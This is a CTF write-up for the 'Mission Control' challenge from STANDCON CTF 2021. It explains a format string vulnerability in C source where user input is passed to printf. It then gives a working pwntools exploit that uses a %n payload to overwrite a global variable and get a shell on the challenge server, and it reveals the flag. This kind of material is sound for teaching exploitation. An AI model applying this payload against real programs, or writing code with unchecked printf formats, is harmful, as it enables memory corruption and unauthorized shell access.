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On this page
  • Description
  • Solution
  • Source Code Analysis
  • Exploitation

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  1. My Challenges
  2. STANDCON CTF 2021

Mission Control

Format string vulnerability

PreviousStar Cereal 2NextRocket Science

Last updated 3 years ago

Was this helpful?

Description

There have been many hackers trying to compromise our mission control panel lately. We have added a few verification checks!

nc 20.198.209.142 55021

The flag is in the flag format: STC{...}

Author: zeyu2001

Solution

Source Code Analysis

To get the flag, users must overwrite the secret_code global variable.

#define ADMIN_CODE 200

int secret_code = 0;

...

int main(int argc, char **argv)
{
	if (secret_code == ADMIN_CODE)
	{
		give_shell();
	}
	else
	{
		printf("Sorry, this area is currently disabled.\n");
	}

	return 0;
}

Now let's look at the rest of the code. User input is read into buf, and buf is concatenated to to_print before printf(to_print) is called.

...

char buf[128];
memset(buf, 0, sizeof(buf));
fgets(buf, 128, stdin);

char to_print[256];
memset(to_print, 0, sizeof(to_print));

strcpy(to_print, "You said: ");
strcat(to_print, buf);

printf(to_print);
printf("Code: %d\n", secret_code);

...

This is a classic format string vulnerability. User input is directly passed into the printf format string, allowing us to write to arbitrary memory addresses.

An additional restriction is that the first 16 characters of the input must be "I am not a robot".

if (strncmp(buf, "I am not a robot", 16) == 0)
{	
	printf("Glad to hear that!\n");
}
else
{
	printf("Stop hacking us!\n");
	return 0;
}

Exploitation

Using objdump, we can find the memory address of secret_code.

$ objdump -t mission_control | grep secret_code
080dffbc g     O .bss    00000004 secret_code

We need to send 4 bytes in order to specify the address which we want to overwrite. Let this be AAAA for now. By sending I am not a robotAAAA%x.%x.%x ..., we can leak the stack values (every %x represents 4 bytes).

Notice that 4141746f appears at the 10th index and 78254141 at the 11th index. We need the full four bytes to be at the same index, so let's add two extra bytes before the AAAA.

We have added two extra bytes BB and used Direct Parameter Access (DPA) to specify we want the 11th index. The payload is I am not a robotBBAAAA%11$p. As we can see, the 11th index is now our AAAA string, i.e.0x41414141. Perfect!

The final payload is I am not a robotBB\xbc\xff\x0d\x08%168x%11$n.

  • \xbc\xff\x0d\x08 is the memory address of secret_code (0x080dffbc) in little-endian.

  • %168x%11$n writes 168 + [bytes already wrote] to the address on the 11th index.

The exploitation process is outlined by this script:

from pwn import *

# Bruteforce the index of the buffer

conn = remote("20.198.209.142", 55021)
print(conn.recv())

conn.send("I am not a robotBBAAAA%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x\r\n")

print(conn.recv())

# Check the index of the buffer

conn = remote("20.198.209.142", 55021)
print(conn.recv())

conn.send(b"I am not a robotBBAAAA%11$p\r\n")
print(conn.recv())

# Overwrite the secret_code address

conn = remote("20.198.209.142", 55021)
print(conn.recv())

conn.send(b"I am not a robotBB\xbc\xff\x0d\x08%168x%11$n\r\n") # 080dffbc
print(conn.recv())
conn.interactive()

Once we overwrite the secret code, we are given a shell.

The flag is STC{1_l0v3_f0rm4t_st1ngs_0ab7a4af7bb1343810ccde8244031f2f}.

667KB
mission_control
mission_control
967B
mission_control.c
mission_control.c